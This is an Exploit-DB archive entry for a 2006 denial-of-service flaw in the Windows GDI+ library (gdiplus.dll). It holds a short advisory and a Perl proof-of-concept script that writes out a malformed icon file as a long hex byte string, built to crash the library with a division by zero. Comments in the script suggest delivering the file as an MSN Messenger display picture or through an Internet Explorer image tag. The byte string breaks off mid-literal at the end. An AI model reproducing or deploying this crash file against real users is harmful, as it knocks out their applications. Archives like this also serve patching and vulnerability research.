Exploit-DB #28299
Description: Microsoft Windows XP/2000/2003 - Graphical Device Interface Plus Library Denial of Service
Type: dos
Platform: windows
Date: 2006-07-29
Author: Mr. Niega

Exploit:
source: https://www.securityfocus.com/bid/19221/info

Reportedly, the Microsoft Windows GDI+ library 'gdiplus.dll' is prone to a denial-of-service vulnerability because the software fails to handle malformed image files properly. 

An attacker may leverage this issue to trigger a denial-of-service condition in software implementing the vulnerable library. Other attacks may also be possible.

#!/bin/perl
# 0-day crash poc gdiplus.dll by Mr.Niega
# Check out hex offset 2e play with the 2byte's, #set it to 20 if you want a non crashing ico file
# [Division by zero] 
# this POC tested with:
# win XP ENG sp2
# And for SYS 49152 im that 0daysec guy ;)
# 
#Rename Poc.ico to Poc.png and have it as display #picture =) ???  Msn messenger
# Also use it to crash ie  <img dynsrc="Poc.jpg">
# Credits : MarjinZ ,  SYS 49152

my $all = 
"\x00\x00\x01\x00\x02\x00\x10\x10\x00\x00\x00\x00\x00\x00\x68\x05\x00\x00\x26\x00\x00\x00\x20\x20\x00\x00\x00\x00\x00\x00\xA8\x08\x00\x00\x8E\x05\x00\x00\x28\x00\x00\
x00\x10\x00\x00\x01\x01\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x40\x01\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00\x27\x6A\xE6\x00\x8C\xBC\xEF\x00\x27\x38\x6C\x00\x57\x74\xA1\x00\x08\x13\x3F\
x00\x1F\x52\xAA\x00\x61\x91\xE3\x00\x48\x5B\x7E\x00\x3B\x7C\xBF\x00\x04\x3A\x9A\x00\x79\x95".
"\xC5\x00\x31\x86\xFC\x00\x17\x65\xC6\x00\x1F\x30\x4C\x00\xA0\xD1\xFF\x00\x42\x7F\xDF\x00\x2C\x4C\x85\x00\x09\x2E\x65\x00\x7C\xA3\xE1\x00\x07\x09\x1D\x00\x3A\x61\xA8\
x00\x58\x86\xC2\x00\x0E\x42\x80\x00\x1B\x41\x96\x00\x2B\x6B\xB6\x00\x46\x72\xAD\x00\x35\x56".
"\x97\x00\x50\x90\xD7\x00\x0A\x1C\x51\x00\x7A\xB3\xED\x00\x0A\x15\x2C\x00\x28\x60\xCD\x00\x37\x73\xD6\x00\x0F\x4D\xA3\x00\x46\x6E\xC1\x00\x25\x40\x7B\x00\x0E\x23\x42\
x00\x56\x7B\xB6\x00\x45\x79\xD0\x00\x3B\x65\xB9\x00\x72\x99\xD3\x00\x02\x00\x10\x00\x4B\x6B".
"\x9D\x00\x8E\xB6\xE1\x00\x0C\x34\x7A\x00\x18\x56\x9B\x00\x1B\x22\x4A\x00\x12\x1C\x36\x00\x36\x4D\x7B\x00\x1C\x48\x82\x00\x2B\x77\xE5\x00\x39\x51\x8B\x00\x87\xAB\xE4\
x00\x1A\x38\x6F\x00\x31\x7A\xC7\x00\x18\x38\x7C\x00\x15\x4D\xB0\x00\x1D\x2D\x58\x00\x1F\x32".
"\x65\x00\x46\x68\xB4\x00\x4A\x77\xBA\x00\x2F\x6E\xC1\x00\x2A\x62\xAE\x00\x10\x16\x47\x00\x13\x28\x64\x00\x61\x84\xC9\x00\x5A\x75\xAC\x00\x1A\x4C\x93\x00\x41\x66\x9F\
x00\x0C\x3F\x94\x00\x05\x20\x5A\x00\x32\x5D\x9F\x00\x1D\x28\x41\x00\x14\x3C\x87\x00\x6A\x93".
"\xD7\x00\x53\x7B\xC0\x00\x39\x74\xCA\x00\x05\x0D\x28\x00\x27\x3C\x63\x00\x3C\x7B\xD5\x00\x08\x1C\x44\x00\x75\xAE\xE7\x00\x4E\x7F\xB8\x00\x0A\x2D\x6E\x00\x32\x4C\x8E\
x00\x00\x04\x1B\x00\x30\x47\x7D\x00\x05\x19\x3A\x00\x03\x03\x07\x00\x10\x32\x64\x00\x52\x74".
"\xAB\x00\x26\x41\x83\x00\x72\x99\xDB\x00\x04\x07\x13\x00\x06\x12\x32\x00\x16\x25\x45\x00\x2C\x41\x78\x00\x4A\x74\xC3\x00\x11\x1D\x45\x00\x0B\x11\x26\x00\x04\x12\x45\
x00\x26\x66\xD0\x00\x0C\x17\x3B\x00\x34\x53\x8F\x00\x0A\x38\x9C\x00\x84\xA6\xE1\x00\x78\x9A".
"\xD5\x00\x34\x51\x87\x00\x12\x1E\x3C\x00\x21\x2F\x54\x00\x5A\x7B\xAC\x00\x0D\x3D\x7D\x00\x37\x5E\xA2\x00\x0B\x16\x44\x00\x11\x2B\x60\x00\x00\x00\x0A\x00\x05\x10\x3C\
x00\x03\x07\x18\x00\x73\x9C\xD7\x00\x56\x7C\xBB\x00\x36\x4E\x80\x00\x08\x0D\x24\x00\x00\x00".
"\x05\x00\x03\x10\x2B\x00\x9E\xCD\xFE\x00\x11\x20\x41\x00\x20\x35\x68\x00\x79\xA1\xE3\x00\x03\x09\x1D\x00\x04\x0B\x25\x00\x07\x13\x43\x00\x0B\x19\x3E\x00\x0E\x17\x42\
x00\x55\x73\xA9\x00\x0B\x13\x29\x00\x01\x03\x0B\x00\x04\x0A\x1A\x00\x31\x52\x8E\x00\x03\x04".
"\x1A\x00\x30\x4A\x7C\x00\x02\x01\x03\x00\x00\x00\x0D\x00\x6C\x95\xD8\x00\x08\x15\x45\x00\x0E\x21\x44\x00\x03\x00\x05\x00\x06\x0C\x26\x00\x11\x1A\x37\x00\x20\x54\xAB\
x00\x0A\x40\x95\x00\x1E\x31\x67\x00\x33\x4D\x8C\x00\x02\x00\x01\x00\x03\x06\x16\x00\x06\x0E".
"\x24\x00\x08\x0F\x25\x00\x12\x1D\x38\x00\x12\x1E\x41\x00\x03\x02\x05\x00\x00\x00\x08\x00\x05\x09\x19\x00\x01\x00\x02\x00\x02\x01\x05\x00\x02\x03\x0A\x00\x0C\x13\x28\
x00\x07\x1D\x44\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00".
"\x06\x00\x03\x03\x06\x00\x01\x00\x0A\x00\x07\x0E\x24\x00\x05\x0D\x29\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7B\x94\xA2\x5A\xAB\xAA\x32\x30\x0B\x0D\x1D\x45\x48\x8C\x8E\x00\xAD\x68\x73\x5A\xA8\x00\x0F\x35\x07\x34\
x6A\x4B\x60\x00\xAB\x00\xA8\x9A\x06\x4F\x00\x00\x65\x58\x39\x40\x67\x02\x96\xA5\xA8\x00\xA3".
"\x00\x5F\x1E\x9C\x00\xAE\x7A\x41\x19\x11\x21\x22\x61\x00\x00\xA3\xA3\xA8\xB0\x84\x93\x7D\x27\x44\x29\x08\x3A\x4E\x6D\x00\x00\xA3\xA3\xAB\xA9\x2B\x13\x23\x3E\x87\x43\
x6B\x47\x3F\x79\xAC\x00\xA3\xA3\xA8\x8F\x71\x0E\x91\x3B\x1C\x6C\x0C\x97\x51\x90\x9D\x00\xA3".
"\xA8\x89\x33\x38\x92\x76\x8D\x78\x36\x09\x55\x28\x81\x6E\x00\xA3\xA8\x8A\x2F\x26\x83\x2E\x5C\x03\x2A\x31\x74\x63\x14\x95\x00\xA3\xA8\xA4\x18\x0A\x9F\x